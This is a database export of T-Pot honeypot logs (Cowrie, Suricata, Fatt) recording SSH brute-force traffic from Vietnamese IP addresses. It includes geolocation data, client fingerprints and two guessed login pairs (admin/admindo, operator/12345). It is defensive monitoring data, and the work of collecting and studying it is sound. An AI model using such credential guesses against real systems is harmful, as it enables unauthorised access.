21321	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.224546+03	2021-09-20 14:15:03.512613+03	{"_id": "aQbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d61fcba64b47", "@version": "1", "duration": 2.972897529602051, "timestamp": "2021-09-20T11:06:41.224546Z", "@timestamp": "2021-09-20T11:06:41.224Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21315	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.595582+03	2021-09-20 14:15:03.505614+03	{"_id": "qwbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admindo] failed", "session": "2811eb54717c", "@version": "1", "password": "admindo", "username": "admin", "timestamp": "2021-09-20T11:06:37.595582Z", "@timestamp": "2021-09-20T11:06:37.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21316	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:37.855563+03	2021-09-20 14:15:03.507613+03	{"_id": "owbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "946e8296b348", "@version": "1", "duration": 2.4881961345672607, "timestamp": "2021-09-20T11:06:37.855563Z", "@timestamp": "2021-09-20T11:06:37.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21317	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:38.314288+03	2021-09-20 14:15:03.508613+03	{"_id": "zwbiAnwBvYTbRNuE7gAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 189512936151204, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36598, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.314288Z", "@timestamp": "2021-09-20T11:06:38.314Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21318	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:39.214756+03	2021-09-20 14:15:03.509613+03	{"_id": "CAbiAnwBvYTbRNuE8gEB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1165159854640052, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43758, "dest_port": 22, "timestamp": "2021-09-20T11:06:39.214756Z", "@timestamp": "2021-09-20T11:06:39.214Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21319	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:41.625735+03	2021-09-20 14:15:03.510612+03	{"_id": "VgbiAnwBvYTbRNuE-QHT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 408554121004257, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57236, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.625735Z", "@timestamp": "2021-09-20T11:06:41.625Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21320	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:41.701629+03	2021-09-20 14:15:03.511614+03	{"_id": "YgbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:54144 (192.168.176.2:22) [session: 7e0a483755f4]", "session": "7e0a483755f4", "@version": "1", "protocol": "ssh", "src_port": 54144, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.701629Z", "@timestamp": "2021-09-20T11:06:41.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21322	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.234771+03	2021-09-20 14:15:03.514613+03	{"_id": "agbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "34fdedcfd043", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:41.234771Z", "@timestamp": "2021-09-20T11:06:41.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21323	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:41.349876+03	2021-09-20 14:15:03.515612+03	{"_id": "awbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [operator/12345] failed", "session": "88217dc46003", "@version": "1", "password": "12345", "username": "operator", "timestamp": "2021-09-20T11:06:41.349876Z", "@timestamp": "2021-09-20T11:06:41.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21324	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.352935+03	2021-09-20 14:15:03.516613+03	{"_id": "bAbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a73b813d6920", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:41.352935Z", "@timestamp": "2021-09-20T11:06:41.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21325	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:41.386611+03	2021-09-20 14:15:03.517613+03	{"_id": "bQbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d6dfcef274a0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:41.386611Z", "@timestamp": "2021-09-20T11:06:41.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21326	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.23186+03	2021-09-20 14:15:03.519613+03	{"_id": "dwbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45010 (192.168.176.2:22) [session: 34fdedcfd043]", "session": "34fdedcfd043", "@version": "1", "protocol": "ssh", "src_port": 45010, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.231860Z", "@timestamp": "2021-09-20T11:06:41.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21327	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.351761+03	2021-09-20 14:15:03.520612+03	{"_id": "eAbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57236 (192.168.176.2:22) [session: a73b813d6920]", "session": "a73b813d6920", "@version": "1", "protocol": "ssh", "src_port": 57236, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.351761Z", "@timestamp": "2021-09-20T11:06:41.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21328	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.505314+03	2021-09-20 14:15:03.521612+03	{"_id": "bwbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5eaa8a641966", "@version": "1", "timestamp": "2021-09-20T11:06:41.505314Z", "@timestamp": "2021-09-20T11:06:41.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21329	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.52673+03	2021-09-20 14:15:03.523613+03	{"_id": "cAbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ec2de691834c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:41.526730Z", "@timestamp": "2021-09-20T11:06:41.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21330	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:41.236959+03	2021-09-20 14:15:03.524613+03	{"_id": "fgbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45010, "timestamp": "2021-09-20T11:06:41.236959", "@timestamp": "2021-09-20T11:06:41.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21331	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.804352+03	2021-09-20 14:15:03.525613+03	{"_id": "cwbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ec2de691834c", "@version": "1", "timestamp": "2021-09-20T11:06:41.804352Z", "@timestamp": "2021-09-20T11:06:41.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
